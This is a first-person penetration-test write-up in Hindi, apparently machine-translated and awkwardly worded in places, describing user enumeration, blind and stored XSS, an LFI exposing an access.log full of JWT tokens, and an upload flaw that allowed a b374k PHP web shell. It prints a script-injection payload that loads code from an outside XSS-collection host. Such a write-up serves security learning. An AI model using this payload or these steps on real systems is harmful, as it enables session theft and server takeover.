एक नियमित उपयोगकर्ता से एक पूर्ण सर्वर व्यवस्थापक (XSS, LFI, वेब-शेल) तक

वर्ष की शुरुआत में, एक कंपनी के एक कर्मचारी ने मुझे लिखा था। जैसा कि मैं इसे समझता हूं, कंपनी में एक छोटा सा संघर्ष था। जिसके कारण कुछ कर्मचारियों द्वारा प्रणाली के एक समझौते का खतरा था। प्रणाली का ऑडिट करने का निर्णय निश्चित रूप से सही था। आखिरकार, निरीक्षण के परिणामों ने मुझे सुखद आश्चर्यचकित किया, और "अप्रिय रूप से" ग्राहक को आश्चर्यचकित किया।

सिस्टम आर्किटेक्चर, सिद्धांत रूप में, मानक था। यह एक प्रमाणीकरण सेवा पर आधारित था। इसके अलावा, jwt द्वारा जारी किए गए टोकन के अनुसार, उपयोगकर्ता विभिन्न उप-डोमेन पर सिस्टम की कार्यक्षमता का उपयोग कर सकता है।

परीक्षण एक उपडोमेन तक सीमित था। लेकिन ग्राहकों के अनुसार सबसे बुनियादी। मैं सभी त्रुटियों और समस्याओं के बारे में विस्तार से नहीं बताऊंगा। उन्हें बहुत खोजा गया। मैं केवल उन लोगों का वर्णन करूंगा जो मुझे सबसे उत्सुक लग रहे थे।

उपयोगकर्ताओं के लिए खोज करते समय सूचना अतिरेक

उपयोगकर्ताओं के लिए खोज क्वेरी निम्नलिखित प्रकृति की जानकारी का एक सेट प्राप्त करने की अनुमति देती है - उपयोगकर्ता नाम, नाम, लॉगिन, अवतार ...

किसी भी समस्या के बिना, Login_name उपयोगकर्ताओं के पूरे डेटाबेस को इकट्ठा करना संभव था। लॉगिन कार्यक्षमता में भी कोई विशेष प्रतिबंध नहीं थे। तब सिस्टम के सबसे महत्वपूर्ण उपयोगकर्ताओं पर कई धाराओं में पासवर्ड का चयन करना या पॉइंट फ़िशिंग करना संभव था।

उपयोगकर्ता समर्थन का अनुरोध करने में ब्लाइंड XSS।

मुझे यह आभास हुआ कि यह समस्या 90% सिस्टम में मौजूद है जिसका मैं सामना करता हूं। इससे पहले, समीक्षाओं की समीक्षा के लिए प्लेटफार्मों से "झटके" बार-बार मेरे पास आए हैं। इंटरनेट पर उपयोगकर्ता के व्यवहार की निगरानी प्रणालियों तक पहुंच ने भी उड़ान भरी। बहुत सारी चीजें थीं। हालांकि, कम ही लोग समझते हैं कि यह कितना खतरनाक हो सकता है। विशेष रूप से, यह भेद्यता यहाँ लिखी गई थी ।
इस मामले में, मैंने यह सुनिश्चित किया कि जब मैं एक्सएसएस हंटर से सूचना प्राप्त कर रहा था तो यह दुर्घटना दुर्घटना से काम कर रही थी। हमला वेक्टर इस प्रकार था:

"><script src=https://sa.xss.ht></script> 

लेकिन ग्राहक को विश्वास नहीं था कि मैं इस हमले के वेक्टर के माध्यम से व्यवस्थापक पैनल का नियंत्रण प्राप्त कर सकता हूं। आखिरकार, सभी मूल्यवान जानकारी स्थानीय भंडारण में संग्रहीत की जाती है। चूंकि XSS हंटर स्थानीय भंडारण जानकारी प्राप्त करने का समर्थन नहीं करता है, इसलिए मुझे अपना XSS लकड़हारा तैनात करना पड़ा। निम्नलिखित प्रकाशन बहुत मददगार था । बार-बार होने वाले हमले के परिणामस्वरूप, यह सत्यापित करना संभव था कि स्थानीय संग्रहण से भी व्यवस्थापक का jwt टोकन दुर्भावनापूर्ण तरीकों से आसानी से प्राप्त किया जा सकता है।


ठीक है, तो सिस्टम में व्यवस्थापक अधिकारों के साथ, आप कुछ भी कर सकते हैं।

एक ईमेल में संग्रहीत XSS।

सिस्टम में एक कार्यक्षमता की खोज की गई थी जो आपको नए उपयोगकर्ताओं को पंजीकृत करने के लिए फ़्रेमयुक्त ईमेल निमंत्रण बनाने की अनुमति देता है। आप पत्र के रूप में व्यक्ति का नाम सम्मिलित कर सकते हैं। ईमेल को और अधिक व्यक्तिगत बनाने के लिए। नतीजतन, सभी सामग्री बच नहीं पाई और पत्र में गिर गई। एक पत्र के माध्यम से एक समान सफल xss हमले को अंजाम देने के लिए, आपको पीड़ित के ईमेल क्लाइंट को जानना होगा, और आपको इस क्लाइंट के लिए शून्य दिन xss जानना होगा। सामान्य तौर पर, परिभाषा के अनुसार, इस हमले की सफलता नगण्य थी। उस क्षण तक जब मुझे पत्र के ऊपरी कोने में एक उत्सुक बटन मिला।



यह पत्र का एक वेब संस्करण खोलने का अवसर था। और यहाँ एक आश्चर्य मुझे इंतजार कर रहा था। मेरे XSS ने काम किया। उसी समय, पत्र का वेब संस्करण व्यवस्थापक पर खोला गया था। *। Com उपडोमेन



बोलने के लिए डबल आश्चर्य।

उपलब्ध फ़ाइल access.log

ऑडिट प्रक्रिया में, मुझे एक दिलचस्प जगह मिली। जब विभिन्न वर्ण अनुरोध में आए, तो 404 सर्वर से प्रतिक्रिया में आए। लेकिन समय-समय पर, 404 प्रतिक्रिया पिछले वाले से थोड़ी अलग थी। कभी-कभी एक अतिरिक्त हेडर होता था। कभी-कभी नहीं। सिस्टम की प्रतिक्रियाओं में एक निश्चित परिवर्तन ने मुझे इस स्थान पर स्थानीय फ़ाइल समावेशन ( LFI ) की जांच करने के लिए प्रेरित किया। मैंने lfi शब्दकोश की स्थापना की और मेरे सभी अनुरोधों के जवाबों को वापस करने के लिए सिस्टम का इंतजार किया। नतीजतन, जब परीक्षण के परिणाम को देखते हैं, तो मैं 200 के एक स्थिति के साथ जवाब पर बहुत आश्चर्यचकित था, जो कि संचरित डेटा के बहुत वजनदार आकार के साथ है।



यह पता चला कि मुझे एक पठनीय फ़ाइल access.log मिली। इस फ़ाइल ने सर्वर पर सभी गतिविधि को रिकॉर्ड किया। इस फ़ाइल में jwt उपयोगकर्ता टोकन का पता लगाना संभव था।


इन टोकनों की समाप्ति का समय काफी बड़ा था। और वह भी, बहुत अच्छा नहीं था।

सर्वर पर पूर्ण वेब-शेल एक्सेस

सिद्धांत रूप में, उपरोक्त सभी सामान्य समस्याएं हैं। लेकिन कुछ प्रकार की कमजोरियों को पूरा करना पहले से ही मुश्किल होता है। यह शेल.php फ़ाइल में बड़े करीने से लोड किए गए कोड के माध्यम से सर्वर तक पहुंचने के बारे में है। जिसके बाद इस सर्वर पर स्थित सभी परियोजनाओं से समझौता किया जाता है। Bo0oM ने 2016 में अपने ब्लॉग पर इस मुद्दे के बारे में लिखा था ।
लेकिन वापस मेरे उदाहरण पर। प्रणाली में प्रकाशन करने की क्षमता थी। उसी समय, प्रकाशन के लिए एक तस्वीर अपलोड करना संभव था। चित्र उसी डोमेन पर सहेजा गया था। लेकिन फ़ाइल का नाम जबरन बदल दिया गया था। यानी आप अपलोड करें - mypicture.jpg। लेकिन परिणामस्वरूप, आपको 12345.jpg मिलता है। मैंने यह जांचने का फैसला किया कि अगर मैं xml फ़ाइल (उस समय मैं स्पष्ट रूप से XXE से मिलने का सपना देख रहा हूं) को स्थानांतरित करूं तो क्या होगा। और मेरे आश्चर्य के लिए मुझे जवाब मिला 123556.xml। और तब मुझे महसूस हुआ कि वेब शेल के लिए php फाइल एक्सटेंशन के साथ सफलता का 99% मौका है। इस हमले के लिए, मैंने b374k शेल का उपयोग किया। फ़ाइल के लिए सीधी पहुँच के साथ - मुझे वह मिल गया जो मैं चाहता था। सर्वर निर्देशिकाओं तक पहुँच।



लेकिन यह सबसे दुखद बात नहीं थी। सबसे दुखद बात यह थी कि इस भेद्यता के माध्यम से 10 से अधिक परियोजनाओं से समझौता करना संभव था जो इस सर्वर की मूल निर्देशिका में थे।



मेरे दोस्त साइबरपंक ने कहा कि यह वर्ष 2007-2010 में देखा जा सकता है। काश, 2019 के यार्ड में। इसी तरह की समस्या आज भी मौजूद है।

परीक्षण के परिणामस्वरूप, ग्राहक परिणामों से बहुत आश्चर्यचकित थे। और मुझे बहुत खुशी हुई कि मैं परीक्षण में बहुत उपयोगी था। यदि आपके पास दिलचस्प परियोजनाओं के साथ कोई सुझाव है - मुझे टेलीग्राम में लिखने के लिए स्वतंत्र महसूस करें;)